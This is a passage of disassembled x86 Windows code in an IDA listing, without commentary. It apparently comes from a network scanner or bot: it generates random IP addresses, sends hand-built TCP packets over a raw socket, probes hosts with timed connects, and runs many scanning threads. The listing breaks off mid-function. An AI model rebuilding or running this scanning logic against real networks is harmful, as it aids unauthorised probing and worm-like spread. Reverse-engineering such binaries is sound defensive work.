loc_13CD6AC:				; CODE XREF: sub_13CCE50+728j
					; sub_13CCE50+84Fj
		mov	edx, ds:dword_E19CDD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+0A0h+arg_9C], edx
		mov	[esp+0A0h+arg_C4], 0
		mov	[esp+0A0h+arg_C8], eax
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+0A4h+var_60]
		push	80h
		push	ecx
		call	_snprintf	; _snprintf
		mov	eax, [esp+0ACh+arg_CC]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+0A0h+arg_1C], 0
		mov	eax, offset dword_444568
		jnz	short loc_13CD70E
		mov	eax, offset dword_444558


loc_13CD70E:				; CODE XREF: sub_13CCE50+8B7j
		mov	edx, [esp+0A0h+arg_B8]
		mov	ecx, [esp+0A0h+arg_A8]
		push	edx
		mov	edx, [esp+0A4h+arg_A4]
		push	ecx
		mov	ecx, [esp+0A8h+arg_A0]
		push	edx
		lea	edx, [esp+0ACh+var_70]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+0B8h+arg_BC]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44443Ah[eax*4]
		push	ecx
		push	offset dword_444508
		mov	ecx, edi
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		push	0
		lea	ecx, [esp+0D4h+arg_4F10]
		push	3
		push	ecx
		call	sub_13ABFD6
		add	esp, 3Ch
		lea	edx, [esp+0A0h+var_70]
		mov	[esp+0A0h+arg_AC], eax
		push	edx
		call	sub_13AC661
		mov	al, 1
		jmp	loc_13CD251
sub_13CCE50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CDA00	proc near		; CODE XREF: sub_13AB54Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F80
		mov	ecx, offset dword_4479A8
		setnz	bl
		call	sub_13AB8D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_E19CC5
		call	sub_13ABC48
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, ds:dword_444460[eax*4]
		inc	ecx
		mov	ds:dword_444460[eax*4],	ecx
		mov	al, 1
		retn
sub_13CDA00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CDA70	proc near		; CODE XREF: sub_13AC1F7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		call	getsockname	; getsockname
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset dword_443CD4
		push	offset dword_102BC90
		call	wsprintfA	; wsprintfA
		mov	eax, offset dword_102BC90
		add	esp, 2Ch
		retn
sub_13CDA70	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CDB30	proc near		; CODE XREF: sub_13AC337j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:dword_1029D38[esi*8]
		push	eax
		call	htonl	; htonl
		inc	eax
		push	eax
		call	htonl	; htonl
		mov	ds:dword_1029D38[esi*8], eax
		pop	esi
		retn
sub_13CDB30	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CDB70	proc near		; CODE XREF: sub_13AB531j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_13CDBA2
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13CDBA2:				; CODE XREF: sub_13CDB70+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset dword_443CD4
		push	edx
		call	sscanf	; sscanf
		mov	eax, [esp+34h+var_8]
		mov	esi, rand
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_13CDBDA
		call	esi ; rand
		mov	[esp+1Ch+var_8], eax


loc_13CDBDA:				; CODE XREF: sub_13CDB70+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_13CDBE6
		call	esi ; rand
		mov	[esp+1Ch+var_C], eax


loc_13CDBE6:				; CODE XREF: sub_13CDB70+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_13CDBF2
		call	esi ; rand
		mov	[esp+1Ch+var_10], eax


loc_13CDBF2:				; CODE XREF: sub_13CDB70+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_13CDBFC
		call	esi ; rand


loc_13CDBFC:				; CODE XREF: sub_13CDB70+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	ds:dword_1029D38[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_13CDB70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CDC60	proc near		; CODE XREF: sub_13AC238j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		call	socket	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13CDC8E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_13CDC8E:				; CODE XREF: sub_13CDC60+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		call	htons	; htons
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		call	ioctlsocket	; ioctlsocket
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	connect	; connect
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		call	select	; select
		push	esi
		mov	edi, eax
		call	closesocket	; closesocket
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_13CDC60	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CDD50	proc near		; CODE XREF: sub_13AB446j

var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_A		= word ptr  0Eh
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= word ptr  18h
arg_16		= word ptr  1Ah
arg_18		= word ptr  1Ch
arg_1A		= word ptr  1Eh
arg_1C		= word ptr  20h
arg_1E		= word ptr  22h
arg_20		= word ptr  24h
arg_22		= word ptr  26h
arg_24		= word ptr  28h
arg_26		= word ptr  2Ah
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_30		= byte ptr  34h
arg_31		= byte ptr  35h
arg_9A		= word ptr  9Eh
arg_9C		= byte ptr  0A0h
arg_A6		= word ptr  0AAh
arg_B2		= word ptr  0B6h
arg_10100	= dword	ptr  10104h
arg_10104	= dword	ptr  10108h
arg_10108	= dword	ptr  1010Ch
arg_10114	= dword	ptr  10118h

		mov	eax, 10110h
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		mov	ebp, htons
		push	esi
		push	edi
		push	2649h
		call	ebp ; htons
		mov	word ptr [esp+14h+arg_C], ax
		mov	eax, [esp+14h+arg_10114]
		push	eax
		call	ebp ; htons
		mov	[esp+18h+arg_A], ax
		call	rand	; rand
		xor	ebx, ebx
		push	200h
		mov	[esp+1Ch+arg_C], eax
		mov	[esp+1Ch+arg_10], ebx
		mov	[esp+1Ch+arg_14], bx
		mov	[esp+1Ch+arg_24], bx
		mov	[esp+1Ch+arg_16], 5
		mov	[esp+1Ch+arg_18], bx
		mov	[esp+1Ch+arg_1A], 1
		mov	[esp+1Ch+arg_1C], bx
		mov	[esp+1Ch+arg_1E], bx
		mov	[esp+1Ch+arg_20], bx
		mov	[esp+1Ch+arg_22], bx
		call	ebp ; htons
		mov	ecx, [esp+1Ch+arg_10104]
		mov	edx, [esp+1Ch+arg_10108]
		push	24h
		mov	[esp+20h+arg_22], ax
		mov	[esp+20h+arg_24], bx
		mov	[esp+20h+arg_26], bx
		mov	[esp+20h+arg_28], ecx
		mov	[esp+20h+arg_2C], edx
		mov	[esp+20h+arg_30], bl
		mov	[esp+20h+arg_31], 6
		call	ebp ; htons
		mov	word ptr [esp+20h+arg_2C+2], ax
		mov	ecx, 9
		lea	esi, [esp+20h+arg_0]
		lea	edi, [esp+20h+arg_30]
		lea	eax, [esp+20h+arg_24]
		push	20h
		rep movsd
		push	eax
		call	sub_13ABE28
		mov	edx, [esp+28h+arg_10108]
		xor	ecx, ecx
		mov	[esp+28h+var_C], ecx
		add	esp, 8
		mov	[esp+20h+var_8], ecx
		mov	[esp+20h+arg_20], ax
		mov	[esp+20h+var_4], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+24h+var_C], 2
		call	ebp ; htons
		mov	[esp+24h+var_E], ax
		mov	eax, [esp+24h+arg_10100]
		push	6
		push	3
		push	2
		mov	[esp+30h+var_C], eax
		mov	[esp+30h+var_14], 10h
		call	socket	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13CDE79
		push	offset dword_444700
		jmp	loc_13CDF78
; ---------------------------------------------------------------------------


loc_13CDE79:				; CODE XREF: sub_13CDD50+11Dj
		mov	ecx, [esp+30h+var_20]
		lea	edx, [esp+30h+var_1C]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+3Ch+var_C]
		push	24h
		push	eax
		push	esi
		call	sendto	; sendto
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_13CDED2
		call	WSAGetLastError	; WSAGetLastError
		push	eax
		push	edi
		lea	ecx, [esp+50h+arg_1C]
		push	offset dword_4446D0
		push	ecx
		call	wsprintfA	; wsprintfA
		lea	edx, [esp+58h+arg_1C]
		push	edx
		call	sub_13AB4D2
		add	esp, 14h
		push	esi
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_13CDED2:				; CODE XREF: sub_13CDD50+147j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+48h+arg_9C]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+48h+arg_B2], bp
		jz	short loc_13CDF23
		mov	edi, recvfrom


loc_13CDEFA:				; CODE XREF: sub_13CDD50+1D1j
		lea	eax, [esp+48h+var_38]
		lea	ecx, [esp+48h+var_34]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+54h+arg_9C]
		push	10037h
		push	edx
		push	esi
		call	edi ; recvfrom
		test	eax, eax
		jl	short loc_13CDF52
		cmp	[esp+60h+arg_9A], bp
		jnz	short loc_13CDEFA


loc_13CDF23:				; CODE XREF: sub_13CDD50+1A2j
		push	esi
		call	closesocket	; closesocket
		cmp	[esp+64h+arg_A6], 1
		jnz	short loc_13CDF73
		push	offset dword_4446C0
		call	sub_13AB4D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_13CDF52:				; CODE XREF: sub_13CDD50+1C7j
		push	offset dword_4446A0
		call	sub_13AB4D2
		add	esp, 4
		push	esi
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_13CDF73:				; CODE XREF: sub_13CDD50+1E3j
		push	offset dword_44468C


loc_13CDF78:				; CODE XREF: sub_13CDD50+124j
		call	sub_13AB4D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
sub_13CDD50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_13CE020:				; CODE XREF: sub_13AC323j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	edi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], edi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		call	GetTickCount	; GetTickCount
		push	eax
		call	srand	; srand
		lea	eax, [edi+edi*4]
		add	esp, 4
		lea	edx, [eax+eax*4]
		lea	eax, [edi+edx*8]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	ebp, dword_448FDB[edi+eax*2]
		mov	eax, ds:dword_44B6EE[edi+eax*2]
		mov	ecx, ds:dword_1029D3C[eax*8]
		test	ecx, ecx
		jz	loc_13CE2DD
		mov	ebx, wsprintfA


loc_13CE0A0:				; CODE XREF: .idata:013CE2D7j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_13CE0BB
		lea	ecx, [esp+1Ch]
		push	ecx
		call	sub_13AB531
		add	esp, 8
		jmp	short loc_13CE0C3
; ---------------------------------------------------------------------------


loc_13CE0BB:				; CODE XREF: .idata:013CE0AAj
		call	sub_13AC337
		add	esp, 4


loc_13CE0C3:				; CODE XREF: .idata:013CE0B9j
		mov	edx, [esp+14h]
		mov	ecx, [esp+12Ch]
		mov	esi, eax
		mov	eax, [ebp+2713h]
		push	edx
		push	eax
		push	ecx
		push	esi
		call	inet_ntoa	; inet_ntoa
		push	eax
		lea	edx, [esp+230h]
		push	444740h
		push	edx
		call	ebx ; wsprintfA
		add	esp, 18h
		lea	eax, [esp+220h]
		push	eax
		push	ebp
		call	ebx ; wsprintfA
		mov	ecx, [esp+138h]
		mov	edx, [esp+134h]
		push	ecx
		push	edx
		push	esi
		call	sub_13AC238
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_13CE2BD
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_13CE1D8
		push	offset dword_102BC78
		call	EnterCriticalSection
		mov	eax, [esp+12Ch]
		push	eax
		push	esi
		call	inet_ntoa	; inet_ntoa
		push	eax
		lea	ecx, [esp+228h]
		push	444718h
		push	ecx
		call	ebx ; wsprintfA
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_13CE1B8
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_13CE193
		mov	edx, [esp+150h]
		lea	eax, [esp+220h]
		push	edx
		mov	edx, [esp+12Ch]
		lea	ecx, [esp+0ACh]
		push	eax
		push	ecx
		push	edx
		jmp	short loc_13CE1B0
; ---------------------------------------------------------------------------


loc_13CE193:				; CODE XREF: .idata:013CE16Fj
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+2Ch]
		push	ecx
		push	edx
		push	eax


loc_13CE1B0:				; CODE XREF: .idata:013CE191j
		call	sub_13AB923
		add	esp, 10h


loc_13CE1B8:				; CODE XREF: .idata:013CE164j
		lea	ecx, [esp+220h]
		push	ecx
		call	sub_13AB4D2
		add	esp, 4
		push	offset dword_102BC78
		call	LeaveCriticalSection
		jmp	loc_13CE2BD
; ---------------------------------------------------------------------------


loc_13CE1D8:				; CODE XREF: .idata:013CE128j
		push	esi
		call	inet_ntoa	; inet_ntoa
		lea	edx, [esp+168h]
		push	eax
		push	edx
		call	ebx ; wsprintfA
		mov	eax, [esp+150h]
		add	esp, 8
		lea	edx, [esp+1F8h]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:444430h[eax*4]
		push	ecx
		push	edx
		call	ebx ; wsprintfA
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_13CE22C
		lea	eax, [esp+0A8h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx
		jmp	short loc_13CE239
; ---------------------------------------------------------------------------


loc_13CE22C:				; CODE XREF: .idata:013CE218j
		lea	edx, [esp+28h]
		lea	eax, [esp+178h]
		push	edx
		push	eax


loc_13CE239:				; CODE XREF: .idata:013CE22Aj
		call	ebx ; wsprintfA
		mov	ecx, [esp+130h]
		mov	eax, [esp+15Ch]
		mov	edx, [esp+158h]
		add	esp, 8
		mov	[esp+164h], ecx
		mov	ecx, [esp+12Ch]
		mov	[esp+216h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2BEh], ecx
		mov	[esp+2C2h], edi
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2CEh], edx
		mov	[esp+2C6h], eax
		rep movsd
		lea	eax, [eax+eax*2]
		movsw
		lea	edx, [eax+eax*4]
		call	ds:dword_44445C[edx*4]
		mov	edi, [esp+0CCh]
		add	esp, 0BCh


loc_13CE2BD:				; CODE XREF: .idata:013CE11Aj
					; .idata:013CE1D3j
		push	7D0h
		call	Sleep	; Sleep
		mov	eax, [ebp+2713h]
		mov	ecx, ds:dword_1029D3C[eax*8]
		test	ecx, ecx
		jnz	loc_13CE0A0


loc_13CE2DD:				; CODE XREF: .idata:013CE094j
		push	edi
		call	sub_13AC224
		add	esp, 4
		push	0
		call	ExitThread	; ExitThread
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_13CE3B0:				; CODE XREF: sub_13AC661j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		call	inet_addr	; inet_addr
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	ds:dword_1029D38[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_7
		push	3
		call	sub_13AB883
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_13CE431
		push	offset dword_102BC78
		call	DeleteCriticalSection
		push	offset dword_102BC78
		call	InitializeCriticalSection	; InitializeCriticalSection


loc_13CE431:				; CODE XREF: .idata:013CE419j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, Sleep
		mov	esi, ebx
		mov	ds:dword_1029D3C[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, wsprintfA
		jb	loc_13CE56C
		mov	edi, CreateThread


loc_13CE462:				; CODE XREF: .idata:013CE566j
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset dword_444808
		push	eax
		mov	[esp+150h], esi
		call	ebx ; wsprintfA
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_13ABFD6
		lea	ecx, [eax+eax*4]
		add	esp, 24h
		mov	[esp+134h], eax
		lea	edx, [ecx+ecx*4]
		push	0
		push	0
		lea	ecx, [eax+edx*8]
		mov	edx, [esp+138h]
		lea	ecx, [ecx+ecx*4]
		lea	ecx, [ecx+ecx*4]
		mov	ds:dword_44B6EE[eax+ecx*2], edx
		lea	eax, [esp+18h]
		push	eax
		push	401F23h
		push	0
		push	0
		call	edi ; CreateThread
		mov	ecx, [esp+134h]
		lea	edx, [ecx+ecx*4]
		lea	edx, [edx+edx*4]
		lea	edx, [ecx+edx*8]
		lea	edx, [edx+edx*4]
		lea	edx, [edx+edx*4]
		mov	ds:dword_44B6FE[ecx+edx*2], eax
		mov	eax, [esp+134h]
		lea	ecx, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	ecx, [eax+ecx*8]
		lea	ecx, [ecx+ecx*4]
		lea	edx, [ecx+ecx*4]
		mov	ecx, ds:dword_44B6FE[eax+edx*2]
		test	ecx, ecx
		jz	short loc_13CE534
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_13CE55A


loc_13CE523:				; CODE XREF: .idata:013CE530j
		push	1Eh
		call	ebp ; Sleep
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_13CE523
		jmp	short loc_13CE55A
; ---------------------------------------------------------------------------


loc_13CE534:				; CODE XREF: .idata:013CE516j
		call	GetLastError
		push	eax
		lea	eax, [esp+160h]
		push	offset dword_4447C8
		push	eax
		call	ebx ; wsprintfA
		lea	ecx, [esp+168h]
		push	ecx
		call	sub_13AB4D2
		add	esp, 10h


loc_13CE55A:				; CODE XREF: .idata:013CE521j
					; .idata:013CE532j
		push	1Eh
		call	ebp ; Sleep
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_13CE462


loc_13CE56C:				; CODE XREF: .idata:013CE456j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_13CE59A
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		shl	edx, 5
		push	edx
		call	ebp ; Sleep
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_13CE5CD
; ---------------------------------------------------------------------------


loc_13CE59A:				; CODE XREF: .idata:013CE575j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	ds:dword_1029D3C[ecx*8], esi
		jnz	short loc_13CE5CD


loc_13CE5AF:				; CODE XREF: .idata:013CE5C4j
		push	7D0h
		call	ebp ; Sleep
		mov	edx, [esp+130h]
		cmp	ds:dword_1029D3C[edx*8], esi
		jz	short loc_13CE5AF
		mov	eax, [esp+12Ch]


loc_13CE5CD:				; CODE XREF: .idata:013CE598j
					; .idata:013CE5ADj
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, ds:dword_1029D38[ecx*8]
		push	ecx
		call	inet_ntoa	; inet_ntoa
		push	eax
		lea	eax, [esp+168h]
		push	offset dword_444780
		push	eax
		call	ebx ; wsprintfA
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_13CE62E
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_13AB923
		add	esp, 10h


loc_13CE62E:				; CODE XREF: .idata:013CE607j
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_13AB4D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	ds:dword_1029D3C[eax*8], 0
		call	ebp ; Sleep
		push	3
		call	sub_13AB883
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_13CE670
		push	offset dword_102BC78
		call	DeleteCriticalSection


loc_13CE670:				; CODE XREF: .idata:013CE663j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_13AC224
		add	esp, 4
		push	0
		call	ExitThread	; ExitThread
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CE750	proc near		; CODE XREF: sub_13AB6A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_13CE750	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CE770	proc near		; CODE XREF: sub_13AB9E1j

var_8		= byte ptr -8
arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+18h+var_8]
		call	sub_13ABC34
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
sub_13CE770	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CE7C0	proc near		; CODE XREF: sub_13ABC34j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	malloc	; malloc
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_13CE812
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_13CE812:				; CODE XREF: sub_13CE7C0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_13CE7C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CE840	proc near		; CODE XREF: sub_13AC5D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		call	malloc	; malloc
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_13CE8B4
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
